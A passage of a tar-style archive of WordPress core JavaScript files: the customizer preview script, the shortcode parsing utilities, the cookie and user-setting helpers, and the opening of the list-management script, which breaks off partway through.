form = $( event.target ); urlParser.href = form.prop( 'action' ); // If the link is not previewable, prevent the browser from navigating to it. if ( 'GET' !== form.prop( 'method' ).toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) { wp.a11y.speak( api.settings.l10n.formUnpreviewable ); event.preventDefault(); return; } /* * If the default wasn't prevented already (in which case the form * submission is already being handled by JS), and if it has a GET * request method, then take the serialized form data and add it as * a query string to the action URL and send this in a url message * to the customizer pane so that it will be loaded. If the form's * action points to a non-previewable URL, the customizer pane's * previewUrl setter will reject it so that the form submission is * a no-op, which is the same behavior as when clicking a link to an * external site in the preview. */ if ( ! event.isDefaultPrevented() ) { if ( urlParser.search.length > 1 ) { urlParser.search += '&'; } urlParser.search += form.serialize(); preview.send( 'url', urlParser.href ); } // Prevent default since navigation should be done via sending url message or via JS submit handler. event.preventDefault(); } }); /** * Inject the changeset UUID into links in the document. * * @since 4.7.0 * @access protected * @access private * * @return {void} */ api.addLinkPreviewing = function addLinkPreviewing() { var linkSelectors = 'a[href], area[href]'; // Inject links into initial document. $( document.body ).find( linkSelectors ).each( function() { api.prepareLinkPreview( this ); } ); // Inject links for new elements added to the page. if ( 'undefined' !== typeof MutationObserver ) { api.mutationObserver = new MutationObserver( function( mutations ) { _.each( mutations, function( mutation ) { $( mutation.target ).find( linkSelectors ).each( function() { api.prepareLinkPreview( this ); } ); } ); } ); api.mutationObserver.observe( document.documentElement, { childList: true, subtree: true } ); } else { // If mutation observers aren't available, fallback to just-in-time injection. $( document.documentElement ).on( 'click focus mouseover', linkSelectors, function() { api.prepareLinkPreview( this ); } ); } }; /** * Should the supplied link is previewable. * * @since 4.7.0 * @access public * * @param {HTMLAnchorElement|HTMLAreaElement} element Link element. * @param {string} element.search Query string. * @param {string} element.pathname Path. * @param {string} element.host Host. * @param {Object} [options] * @param {Object} [options.allowAdminAjax=false] Allow admin-ajax.php requests. * @return {boolean} Is appropriate for changeset link. */ api.isLinkPreviewable = function isLinkPreviewable( element, options ) { var matchesAllowedUrl, parsedAllowedUrl, args, elementHost; args = _.extend( {}, { allowAdminAjax: false }, options || {} ); if ( 'javascript:' === element.protocol ) { // jshint ignore:line return true; } // Only web URLs can be previewed. if ( 'https:' !== element.protocol && 'http:' !== element.protocol ) { return false; } elementHost = element.host.replace( /:(80|443)$/, '' ); parsedAllowedUrl = document.createElement( 'a' ); matchesAllowedUrl = ! _.isUndefined( _.find( api.settings.url.allowed, function( allowedUrl ) { parsedAllowedUrl.href = allowedUrl; return parsedAllowedUrl.protocol === element.protocol && parsedAllowedUrl.host.replace( /:(80|443)$/, '' ) === elementHost && 0 === element.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ); } ) ); if ( ! matchesAllowedUrl ) { return false; } // Skip wp login and signup pages. if ( /\/wp-(login|signup)\.php$/.test( element.pathname ) ) { return false; } // Allow links to admin ajax as faux frontend URLs. if ( /\/wp-admin\/admin-ajax\.php$/.test( element.pathname ) ) { return args.allowAdminAjax; } // Disallow links to admin, includes, and content. if ( /\/wp-(admin|includes|content)(\/|$)/.test( element.pathname ) ) { return false; } return true; }; /** * Inject the customize_changeset_uuid query param into links on the frontend. * * @since 4.7.0 * @access protected * * @param {HTMLAnchorElement|HTMLAreaElement} element Link element. * @param {string} element.search Query string. * @param {string} element.host Host. * @param {string} element.protocol Protocol. * @return {void} */ api.prepareLinkPreview = function prepareLinkPreview( element ) { var queryParams, $element = $( element ); // Skip elements with no href attribute. Check first to avoid more expensive checks down the road. if ( ! element.hasAttribute( 'href' ) ) { return; } // Skip links in admin bar. if ( $element.closest( '#wpadminbar' ).length ) { return; } // Ignore links with href="#", href="#id", or non-HTTP protocols (e.g. javascript: and mailto:). if ( '#' === $element.attr( 'href' ).substr( 0, 1 ) || ! /^https?:$/.test( element.protocol ) ) { return; } // Make sure links in preview use HTTPS if parent frame uses HTTPS. if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === element.protocol && -1 !== api.settings.url.allowedHosts.indexOf( element.host ) ) { element.protocol = 'https:'; } // Ignore links with class wp-playlist-caption. if ( $element.hasClass( 'wp-playlist-caption' ) ) { return; } if ( ! api.isLinkPreviewable( element ) ) { // Style link as unpreviewable only if previewing in iframe; if previewing on frontend, links will be allowed to work normally. if ( api.settings.channel ) { $element.addClass( 'customize-unpreviewable' ); } return; } $element.removeClass( 'customize-unpreviewable' ); queryParams = api.utils.parseQueryString( element.search.substring( 1 ) ); queryParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { queryParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { queryParams.customize_theme = api.settings.theme.stylesheet; } if ( api.settings.channel ) { queryParams.customize_messenger_channel = api.settings.channel; } element.search = $.param( queryParams ); }; /** * Inject the changeset UUID into Ajax requests. * * @since 4.7.0 * @access protected * * @return {void} */ api.addRequestPreviewing = function addRequestPreviewing() { /** * Rewrite Ajax requests to inject customizer state. * * @param {Object} options Options. * @param {string} options.type Type. * @param {string} options.url URL. * @param {Object} originalOptions Original options. * @param {XMLHttpRequest} xhr XHR. * @return {void} */ var prefilterAjax = function( options, originalOptions, xhr ) { var urlParser, queryParams, requestMethod, dirtyValues = {}; urlParser = document.createElement( 'a' ); urlParser.href = options.url; // Abort if the request is not for this site. if ( ! api.isLinkPreviewable( urlParser, { allowAdminAjax: true } ) ) { return; } queryParams = api.utils.parseQueryString( urlParser.search.substring( 1 ) ); // Note that _dirty flag will be cleared with changeset updates. api.each( function( setting ) { if ( setting._dirty ) { dirtyValues[ setting.id ] = setting.get(); } } ); if ( ! _.isEmpty( dirtyValues ) ) { requestMethod = options.type.toUpperCase(); // Override underlying request method to ensure unsaved changes to changeset can be included (force Backbone.emulateHTTP). if ( 'POST' !== requestMethod ) { xhr.setRequestHeader( 'X-HTTP-Method-Override', requestMethod ); queryParams._method = requestMethod; options.type = 'POST'; } // Amend the post data with the customized values. if ( options.data ) { options.data += '&'; } else { options.data = ''; } options.data += $.param( { customized: JSON.stringify( dirtyValues ) } ); } // Include customized state query params in URL. queryParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { queryParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { queryParams.customize_theme = api.settings.theme.stylesheet; } // Ensure preview nonce is included with every customized request, to allow post data to be read. queryParams.customize_preview_nonce = api.settings.nonce.preview; urlParser.search = $.param( queryParams ); options.url = urlParser.href; }; $.ajaxPrefilter( prefilterAjax ); }; /** * Inject changeset UUID into forms, allowing preview to persist through submissions. * * @since 4.7.0 * @access protected * * @return {void} */ api.addFormPreviewing = function addFormPreviewing() { // Inject inputs for forms in initial document. $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); // Inject inputs for new forms added to the page. if ( 'undefined' !== typeof MutationObserver ) { api.mutationObserver = new MutationObserver( function( mutations ) { _.each( mutations, function( mutation ) { $( mutation.target ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); } ); } ); api.mutationObserver.observe( document.documentElement, { childList: true, subtree: true } ); } }; /** * Inject changeset into form inputs. * * @since 4.7.0 * @access protected * * @param {HTMLFormElement} form Form. * @return {void} */ api.prepareFormPreview = function prepareFormPreview( form ) { var urlParser, stateParams = {}; if ( ! form.action ) { form.action = location.href; } urlParser = document.createElement( 'a' ); urlParser.href = form.action; // Make sure forms in preview use HTTPS if parent frame uses HTTPS. if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === urlParser.protocol && -1 !== api.settings.url.allowedHosts.indexOf( urlParser.host ) ) { urlParser.protocol = 'https:'; form.action = urlParser.href; } if ( 'GET' !== form.method.toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) { // Style form as unpreviewable only if previewing in iframe; if previewing on frontend, all forms will be allowed to work normally. if ( api.settings.channel ) { $( form ).addClass( 'customize-unpreviewable' ); } return; } $( form ).removeClass( 'customize-unpreviewable' ); stateParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { stateParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { stateParams.customize_theme = api.settings.theme.stylesheet; } if ( api.settings.channel ) { stateParams.customize_messenger_channel = api.settings.channel; } _.each( stateParams, function( value, name ) { var input = $( form ).find( 'input[name="' + name + '"]' ); if ( input.length ) { input.val( value ); } else { $( form ).prepend( $( '<input>', { type: 'hidden', name: name, value: value } ) ); } } ); // Prevent links from breaking out of preview iframe. if ( api.settings.channel ) { form.target = '_self'; } }; /** * Watch current URL and send keep-alive (heartbeat) messages to the parent. * * Keep the customizer pane notified that the preview is still alive * and that the user hasn't navigated to a non-customized URL. * * @since 4.7.0 * @access protected */ api.keepAliveCurrentUrl = ( function() { var previousPathName = location.pathname, previousQueryString = location.search.substr( 1 ), previousQueryParams = null, stateQueryParams = [ 'customize_theme', 'customize_changeset_uuid', 'customize_messenger_channel', 'customize_autosaved' ]; return function keepAliveCurrentUrl() { var urlParser, currentQueryParams; // Short-circuit with keep-alive if previous URL is identical (as is normal case). if ( previousQueryString === location.search.substr( 1 ) && previousPathName === location.pathname ) { api.preview.send( 'keep-alive' ); return; } urlParser = document.createElement( 'a' ); if ( null === previousQueryParams ) { urlParser.search = previousQueryString; previousQueryParams = api.utils.parseQueryString( previousQueryString ); _.each( stateQueryParams, function( name ) { delete previousQueryParams[ name ]; } ); } // Determine if current URL minus customized state params and URL hash. urlParser.href = location.href; currentQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); _.each( stateQueryParams, function( name ) { delete currentQueryParams[ name ]; } ); if ( previousPathName !== location.pathname || ! _.isEqual( previousQueryParams, currentQueryParams ) ) { urlParser.search = $.param( currentQueryParams ); urlParser.hash = ''; api.settings.url.self = urlParser.href; api.preview.send( 'ready', { currentUrl: api.settings.url.self, activePanels: api.settings.activePanels, activeSections: api.settings.activeSections, activeControls: api.settings.activeControls, settingValidities: api.settings.settingValidities } ); } else { api.preview.send( 'keep-alive' ); } previousQueryParams = currentQueryParams; previousQueryString = location.search.substr( 1 ); previousPathName = location.pathname; }; } )(); api.settingPreviewHandlers = { /** * Preview changes to custom logo. * * @param {number} attachmentId Attachment ID for custom logo. * @return {void} */ custom_logo: function( attachmentId ) { $( 'body' ).toggleClass( 'wp-custom-logo', !! attachmentId ); }, /** * Preview changes to custom css. * * @param {string} value Custom CSS.. * @return {void} */ custom_css: function( value ) { $( '#wp-custom-css' ).text( value ); }, /** * Preview changes to any of the background settings. * * @return {void} */ background: function() { var css = '', settings = {}; _.each( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) { settings[ prop ] = api( 'background_' + prop ); } ); /* * The body will support custom backgrounds if either the color or image are set. * * See get_body_class() in /wp-includes/post-template.php */ $( document.body ).toggleClass( 'custom-background', !! ( settings.color() || settings.image() ) ); if ( settings.color() ) { css += 'background-color: ' + settings.color() + ';'; } if ( settings.image() ) { css += 'background-image: url("' + settings.image() + '");'; css += 'background-size: ' + settings.size() + ';'; css += 'background-position: ' + settings.position_x() + ' ' + settings.position_y() + ';'; css += 'background-repeat: ' + settings.repeat() + ';'; css += 'background-attachment: ' + settings.attachment() + ';'; } $( '#custom-background-css' ).text( 'body.custom-background { ' + css + ' }' ); } }; $( function() { var bg, setValue, handleUpdatedChangesetUuid; api.settings = window._wpCustomizeSettings; if ( ! api.settings ) { return; } api.preview = new api.Preview({ url: window.location.href, channel: api.settings.channel }); api.addLinkPreviewing(); api.addRequestPreviewing(); api.addFormPreviewing(); /** * Create/update a setting value. * * @param {string} id - Setting ID. * @param {*} value - Setting value. * @param {boolean} [createDirty] - Whether to create a setting as dirty. Defaults to false. */ setValue = function( id, value, createDirty ) { var setting = api( id ); if ( setting ) { setting.set( value ); } else { createDirty = createDirty || false; setting = api.create( id, value, { id: id } ); // Mark dynamically-created settings as dirty so they will get posted. if ( createDirty ) { setting._dirty = true; } } }; api.preview.bind( 'settings', function( values ) { $.each( values, setValue ); }); api.preview.trigger( 'settings', api.settings.values ); $.each( api.settings._dirty, function( i, id ) { var setting = api( id ); if ( setting ) { setting._dirty = true; } } ); api.preview.bind( 'setting', function( args ) { var createDirty = true; setValue.apply( null, args.concat( createDirty ) ); }); api.preview.bind( 'sync', function( events ) { /* * Delete any settings that already exist locally which haven't been * modified in the controls while the preview was loading. This prevents * situations where the JS value being synced from the pane may differ * from the PHP-sanitized JS value in the preview which causes the * non-sanitized JS value to clobber the PHP-sanitized value. This * is particularly important for selective refresh partials that * have a fallback refresh behavior since infinite refreshing would * result. */ if ( events.settings && events['settings-modified-while-loading'] ) { _.each( _.keys( events.settings ), function( syncedSettingId ) { if ( api.has( syncedSettingId ) && ! events['settings-modified-while-loading'][ syncedSettingId ] ) { delete events.settings[ syncedSettingId ]; } } ); } $.each( events, function( event, args ) { api.preview.trigger( event, args ); }); api.preview.send( 'synced' ); }); api.preview.bind( 'active', function() { api.preview.send( 'nonce', api.settings.nonce ); api.preview.send( 'documentTitle', document.title ); // Send scroll in case of loading via non-refresh. api.preview.send( 'scroll', $( window ).scrollTop() ); }); /** * Handle update to changeset UUID. * * @param {string} uuid - UUID. * @return {void} */ handleUpdatedChangesetUuid = function( uuid ) { api.settings.changeset.uuid = uuid; // Update UUIDs in links and forms. $( document.body ).find( 'a[href], area[href]' ).each( function() { api.prepareLinkPreview( this ); } ); $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); /* * Replace the UUID in the URL. Note that the wrapped history.replaceState() * will handle injecting the current api.settings.changeset.uuid into the URL, * so this is merely to trigger that logic. */ if ( history.replaceState ) { history.replaceState( currentHistoryState, '', location.href ); } }; api.preview.bind( 'changeset-uuid', handleUpdatedChangesetUuid ); api.preview.bind( 'saved', function( response ) { if ( response.next_changeset_uuid ) { handleUpdatedChangesetUuid( response.next_changeset_uuid ); } api.trigger( 'saved', response ); } ); // Update the URLs to reflect the fact we've started autosaving. api.preview.bind( 'autosaving', function() { if ( api.settings.changeset.autosaved ) { return; } api.settings.changeset.autosaved = true; // Start deferring to any autosave once changeset is updated. $( document.body ).find( 'a[href], area[href]' ).each( function() { api.prepareLinkPreview( this ); } ); $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); if ( history.replaceState ) { history.replaceState( currentHistoryState, '', location.href ); } } ); /* * Clear dirty flag for settings when saved to changeset so that they * won't be needlessly included in selective refresh or ajax requests. */ api.preview.bind( 'changeset-saved', function( data ) { _.each( data.saved_changeset_values, function( value, settingId ) { var setting = api( settingId ); if ( setting && _.isEqual( setting.get(), value ) ) { setting._dirty = false; } } ); } ); api.preview.bind( 'nonce-refresh', function( nonce ) { $.extend( api.settings.nonce, nonce ); } ); /* * Send a message to the parent customize frame with a list of which * containers and controls are active. */ api.preview.send( 'ready', { currentUrl: api.settings.url.self, activePanels: api.settings.activePanels, activeSections: api.settings.activeSections, activeControls: api.settings.activeControls, settingValidities: api.settings.settingValidities } ); // Send ready when URL changes via JS. setInterval( api.keepAliveCurrentUrl, api.settings.timeouts.keepAliveSend ); // Display a loading indicator when preview is reloading, and remove on failure. api.preview.bind( 'loading-initiated', function () { $( 'body' ).addClass( 'wp-customizer-unloading' ); }); api.preview.bind( 'loading-failed', function () { $( 'body' ).removeClass( 'wp-customizer-unloading' ); }); /* Custom Backgrounds */ bg = $.map( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) { return 'background_' + prop; } ); api.when.apply( api, bg ).done( function() { $.each( arguments, function() { this.bind( api.settingPreviewHandlers.background ); }); }); /** * Custom Logo * * Toggle the wp-custom-logo body class when a logo is added or removed. * * @since 4.5.0 */ api( 'custom_logo', function ( setting ) { api.settingPreviewHandlers.custom_logo.call( setting, setting.get() ); setting.bind( api.settingPreviewHandlers.custom_logo ); } ); api( 'custom_css[' + api.settings.theme.stylesheet + ']', function( setting ) { setting.bind( api.settingPreviewHandlers.custom_css ); } ); api.trigger( 'preview-ready' ); }); })( wp, jQuery ); shortcode.js 0000644 00000025006 15111757752 0007112 0 ustar 00 /** * Utility functions for parsing and handling shortcodes in JavaScript. * * @output wp-includes/js/shortcode.js */ /** * Ensure the global `wp` object exists. * * @namespace wp */ window.wp = window.wp || {}; (function(){ wp.shortcode = { /* * ### Find the next matching shortcode. * * Given a shortcode `tag`, a block of `text`, and an optional starting * `index`, returns the next matching shortcode or `undefined`. * * Shortcodes are formatted as an object that contains the match * `content`, the matching `index`, and the parsed `shortcode` object. */ next: function( tag, text, index ) { var re = wp.shortcode.regexp( tag ), match, result; re.lastIndex = index || 0; match = re.exec( text ); if ( ! match ) { return; } // If we matched an escaped shortcode, try again. if ( '[' === match[1] && ']' === match[7] ) { return wp.shortcode.next( tag, text, re.lastIndex ); } result = { index: match.index, content: match[0], shortcode: wp.shortcode.fromMatch( match ) }; // If we matched a leading `[`, strip it from the match // and increment the index accordingly. if ( match[1] ) { result.content = result.content.slice( 1 ); result.index++; } // If we matched a trailing `]`, strip it from the match. if ( match[7] ) { result.content = result.content.slice( 0, -1 ); } return result; }, /* * ### Replace matching shortcodes in a block of text. * * Accepts a shortcode `tag`, content `text` to scan, and a `callback` * to process the shortcode matches and return a replacement string. * Returns the `text` with all shortcodes replaced. * * Shortcode matches are objects that contain the shortcode `tag`, * a shortcode `attrs` object, the `content` between shortcode tags, * and a boolean flag to indicate if the match was a `single` tag. */ replace: function( tag, text, callback ) { return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) { // If both extra brackets exist, the shortcode has been // properly escaped. if ( left === '[' && right === ']' ) { return match; } // Create the match object and pass it through the callback. var result = callback( wp.shortcode.fromMatch( arguments ) ); // Make sure to return any of the extra brackets if they // weren't used to escape the shortcode. return result ? left + result + right : match; }); }, /* * ### Generate a string from shortcode parameters. * * Creates a `wp.shortcode` instance and returns a string. * * Accepts the same `options` as the `wp.shortcode()` constructor, * containing a `tag` string, a string or object of `attrs`, a boolean * indicating whether to format the shortcode using a `single` tag, and a * `content` string. */ string: function( options ) { return new wp.shortcode( options ).string(); }, /* * ### Generate a RegExp to identify a shortcode. * * The base regex is functionally equivalent to the one found in * `get_shortcode_regex()` in `wp-includes/shortcodes.php`. * * Capture groups: * * 1. An extra `[` to allow for escaping shortcodes with double `[[]]`. * 2. The shortcode name. * 3. The shortcode argument list. * 4. The self closing `/`. * 5. The content of a shortcode when it wraps some content. * 6. The closing tag. * 7. An extra `]` to allow for escaping shortcodes with double `[[]]`. */ regexp: _.memoize( function( tag ) { return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' ); }), /* * ### Parse shortcode attributes. * * Shortcodes accept many types of attributes. These can chiefly be * divided into named and numeric attributes: * * Named attributes are assigned on a key/value basis, while numeric * attributes are treated as an array. * * Named attributes can be formatted as either `name="value"`, * `name='value'`, or `name=value`. Numeric attributes can be formatted * as `"value"` or just `value`. */ attrs: _.memoize( function( text ) { var named = {}, numeric = [], pattern, match; /* * This regular expression is reused from `shortcode_parse_atts()` * in `wp-includes/shortcodes.php`. * * Capture groups: * * 1. An attribute name, that corresponds to... * 2. a value in double quotes. * 3. An attribute name, that corresponds to... * 4. a value in single quotes. * 5. An attribute name, that corresponds to... * 6. an unquoted value. * 7. A numeric attribute in double quotes. * 8. A numeric attribute in single quotes. * 9. An unquoted numeric attribute. */ pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g; // Map zero-width spaces to actual spaces. text = text.replace( /[\u00a0\u200b]/g, ' ' ); // Match and normalize attributes. while ( (match = pattern.exec( text )) ) { if ( match[1] ) { named[ match[1].toLowerCase() ] = match[2]; } else if ( match[3] ) { named[ match[3].toLowerCase() ] = match[4]; } else if ( match[5] ) { named[ match[5].toLowerCase() ] = match[6]; } else if ( match[7] ) { numeric.push( match[7] ); } else if ( match[8] ) { numeric.push( match[8] ); } else if ( match[9] ) { numeric.push( match[9] ); } } return { named: named, numeric: numeric }; }), /* * ### Generate a Shortcode Object from a RegExp match. * * Accepts a `match` object from calling `regexp.exec()` on a `RegExp` * generated by `wp.shortcode.regexp()`. `match` can also be set * to the `arguments` from a callback passed to `regexp.replace()`. */ fromMatch: function( match ) { var type; if ( match[4] ) { type = 'self-closing'; } else if ( match[6] ) { type = 'closed'; } else { type = 'single'; } return new wp.shortcode({ tag: match[2], attrs: match[3], type: type, content: match[5] }); } }; /* * Shortcode Objects * ----------------- * * Shortcode objects are generated automatically when using the main * `wp.shortcode` methods: `next()`, `replace()`, and `string()`. * * To access a raw representation of a shortcode, pass an `options` object, * containing a `tag` string, a string or object of `attrs`, a string * indicating the `type` of the shortcode ('single', 'self-closing', * or 'closed'), and a `content` string. */ wp.shortcode = _.extend( function( options ) { _.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) ); var attrs = this.attrs; // Ensure we have a correctly formatted `attrs` object. this.attrs = { named: {}, numeric: [] }; if ( ! attrs ) { return; } // Parse a string of attributes. if ( _.isString( attrs ) ) { this.attrs = wp.shortcode.attrs( attrs ); // Identify a correctly formatted `attrs` object. } else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) { this.attrs = _.defaults( attrs, this.attrs ); // Handle a flat object of attributes. } else { _.each( options.attrs, function( value, key ) { this.set( key, value ); }, this ); } }, wp.shortcode ); _.extend( wp.shortcode.prototype, { /* * ### Get a shortcode attribute. * * Automatically detects whether `attr` is named or numeric and routes * it accordingly. */ get: function( attr ) { return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ]; }, /* * ### Set a shortcode attribute. * * Automatically detects whether `attr` is named or numeric and routes * it accordingly. */ set: function( attr, value ) { this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value; return this; }, // ### Transform the shortcode match into a string. string: function() { var text = '[' + this.tag; _.each( this.attrs.numeric, function( value ) { if ( /\s/.test( value ) ) { text += ' "' + value + '"'; } else { text += ' ' + value; } }); _.each( this.attrs.named, function( value, name ) { text += ' ' + name + '="' + value + '"'; }); // If the tag is marked as `single` or `self-closing`, close the // tag and ignore any additional content. if ( 'single' === this.type ) { return text + ']'; } else if ( 'self-closing' === this.type ) { return text + ' /]'; } // Complete the opening tag. text += ']'; if ( this.content ) { text += this.content; } // Add the closing tag. return text + '[/' + this.tag + ']'; } }); }()); /* * HTML utility functions * ---------------------- * * Experimental. These functions may change or be removed in the future. */ (function(){ wp.html = _.extend( wp.html || {}, { /* * ### Parse HTML attributes. * * Converts `content` to a set of parsed HTML attributes. * Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of * the HTML attribute specification. Reformats the attributes into an * object that contains the `attrs` with `key:value` mapping, and a record * of the attributes that were entered using `empty` attribute syntax (i.e. * with no value). */ attrs: function( content ) { var result, attrs; // If `content` ends in a slash, strip it. if ( '/' === content[ content.length - 1 ] ) { content = content.slice( 0, -1 ); } result = wp.shortcode.attrs( content ); attrs = result.named; _.each( result.numeric, function( key ) { if ( /\s/.test( key ) ) { return; } attrs[ key ] = ''; }); return attrs; }, // ### Convert an HTML-representation of an object to a string. string: function( options ) { var text = '<' + options.tag, content = options.content || ''; _.each( options.attrs, function( value, attr ) { text += ' ' + attr; // Convert boolean values to strings. if ( _.isBoolean( value ) ) { value = value ? 'true' : 'false'; } text += '="' + value + '"'; }); // Return the result if it is a self-closing tag. if ( options.single ) { return text + ' />'; } // Complete the opening tag. text += '>'; // If `content` is an object, recursively call this function. text += _.isObject( content ) ? wp.html.string( content ) : content; return text + '</' + options.tag + '>'; } }); }()); utils.js 0000644 00000011071 15111757752 0006255 0 ustar 00 /** * Cookie functions. * * @output wp-includes/js/utils.js */ /* global userSettings, getAllUserSettings, wpCookies, setUserSetting */ /* exported getUserSetting, setUserSetting, deleteUserSetting */ window.wpCookies = { // The following functions are from Cookie.js class in TinyMCE 3, Moxiecode, used under LGPL. each: function( obj, cb, scope ) { var n, l; if ( ! obj ) { return 0; } scope = scope || obj; if ( typeof( obj.length ) !== 'undefined' ) { for ( n = 0, l = obj.length; n < l; n++ ) { if ( cb.call( scope, obj[n], n, obj ) === false ) { return 0; } } } else { for ( n in obj ) { if ( obj.hasOwnProperty(n) ) { if ( cb.call( scope, obj[n], n, obj ) === false ) { return 0; } } } } return 1; }, /** * Get a multi-values cookie. * Returns a JS object with the name: 'value' pairs. */ getHash: function( name ) { var cookie = this.get( name ), values; if ( cookie ) { this.each( cookie.split('&'), function( pair ) { pair = pair.split('='); values = values || {}; values[pair[0]] = pair[1]; }); } return values; }, /** * Set a multi-values cookie. * * 'values_obj' is the JS object that is stored. It is encoded as URI in wpCookies.set(). */ setHash: function( name, values_obj, expires, path, domain, secure ) { var str = ''; this.each( values_obj, function( val, key ) { str += ( ! str ? '' : '&' ) + key + '=' + val; }); this.set( name, str, expires, path, domain, secure ); }, /** * Get a cookie. */ get: function( name ) { var e, b, cookie = document.cookie, p = name + '='; if ( ! cookie ) { return; } b = cookie.indexOf( '; ' + p ); if ( b === -1 ) { b = cookie.indexOf(p); if ( b !== 0 ) { return null; } } else { b += 2; } e = cookie.indexOf( ';', b ); if ( e === -1 ) { e = cookie.length; } return decodeURIComponent( cookie.substring( b + p.length, e ) ); }, /** * Set a cookie. * * The 'expires' arg can be either a JS Date() object set to the expiration date (back-compat) * or the number of seconds until expiration */ set: function( name, value, expires, path, domain, secure ) { var d = new Date(); if ( typeof( expires ) === 'object' && expires.toGMTString ) { expires = expires.toGMTString(); } else if ( parseInt( expires, 10 ) ) { d.setTime( d.getTime() + ( parseInt( expires, 10 ) * 1000 ) ); // Time must be in milliseconds. expires = d.toGMTString(); } else { expires = ''; } document.cookie = name + '=' + encodeURIComponent( value ) + ( expires ? '; expires=' + expires : '' ) + ( path ? '; path=' + path : '' ) + ( domain ? '; domain=' + domain : '' ) + ( secure ? '; secure' : '' ); }, /** * Remove a cookie. * * This is done by setting it to an empty value and setting the expiration time in the past. */ remove: function( name, path, domain, secure ) { this.set( name, '', -1000, path, domain, secure ); } }; // Returns the value as string. Second arg or empty string is returned when value is not set. window.getUserSetting = function( name, def ) { var settings = getAllUserSettings(); if ( settings.hasOwnProperty( name ) ) { return settings[name]; } if ( typeof def !== 'undefined' ) { return def; } return ''; }; /* * Both name and value must be only ASCII letters, numbers or underscore * and the shorter, the better (cookies can store maximum 4KB). Not suitable to store text. * The value is converted and stored as string. */ window.setUserSetting = function( name, value, _del ) { if ( 'object' !== typeof userSettings ) { return false; } var uid = userSettings.uid, settings = wpCookies.getHash( 'wp-settings-' + uid ), path = userSettings.url, secure = !! userSettings.secure; name = name.toString().replace( /[^A-Za-z0-9_-]/g, '' ); if ( typeof value === 'number' ) { value = parseInt( value, 10 ); } else { value = value.toString().replace( /[^A-Za-z0-9_-]/g, '' ); } settings = settings || {}; if ( _del ) { delete settings[name]; } else { settings[name] = value; } wpCookies.setHash( 'wp-settings-' + uid, settings, 31536000, path, '', secure ); wpCookies.set( 'wp-settings-time-' + uid, userSettings.time, 31536000, path, '', secure ); return name; }; window.deleteUserSetting = function( name ) { return setUserSetting( name, '', 1 ); }; // Returns all settings as JS object. window.getAllUserSettings = function() { if ( 'object' !== typeof userSettings ) { return {}; } return wpCookies.getHash( 'wp-settings-' + userSettings.uid ) || {}; }; wp-lists.js 0000644 00000061343 15111757752 0006706 0 ustar 00 /** * @output wp-includes/js/wp-lists.js */ /* global ajaxurl, wpAjax */ /** * @param {jQuery} $ jQuery object. */ ( function( $ ) { var functions = { add: 'ajaxAdd', del: 'ajaxDel', dim: 'ajaxDim', process: 'process', recolor: 'recolor' }, wpList; /** * @namespace */ wpList = { /** * @member {object} */ settings: { /** * URL for Ajax requests. * * @member {string} */ url: ajaxurl, /** * The HTTP method to use for Ajax requests. * * @member {string} */ type: 'POST', /** * ID of the element the parsed Ajax response will be stored in. * * @member {string} */ response: 'ajax-response', /** * The type of list. * * @member {string} */ what: '', /** * CSS class name for alternate styling. * * @member {string} */ alt: 'alternate', /** * Offset to start alternate styling from. * * @member {number} */ altOffset: 0, /** * Color used in animation when adding an element. * * Can be 'none' to disable the animation. * * @member {string} */ addColor: '#ffff33', /** * Color used in animation when deleting an element. * * Can be 'none' to disable the animation. * * @member {string} */ delColor: '#faafaa', /** * Color used in dim add animation. * * Can be 'none' to disable the animation. * * @member {string} */ dimAddColor: '#ffff33', /** * Color used in dim delete animation. * * Can be 'none' to disable the animation. * * @member {string} */ dimDelColor: '#ff3333', /** * Callback that's run before a request is made. * * @callback wpList~confirm * @param {object} this * @param {HTMLElement} list The list DOM element. * @param {object} settings Settings for the current list. * @param {string} action The type of action to perform: 'add', 'delete', or 'dim'. * @param {string} backgroundColor Background color of the list's DOM element. * @return {boolean} Whether to proceed with the action or not. */ confirm: null, /** * Callback that's run before an item gets added to the list. * * Allows to cancel the request. * * @callback wpList~addBefore * @param {object} settings Settings for the Ajax request. * @return {object|boolean} Settings for the Ajax request or false to abort. */ addBefore: null, /** * Callback that's run after an item got added to the list. * * @callback wpList~addAfter * @param {XML} returnedResponse Raw response returned from the server. * @param {object} settings Settings for the Ajax request. * @param {jqXHR} settings.xml jQuery XMLHttpRequest object. * @param {string} settings.status Status of the request: 'success', 'notmodified', 'nocontent', 'error', * 'timeout', 'abort', or 'parsererror'. * @param {object} settings.parsed Parsed response object. */ 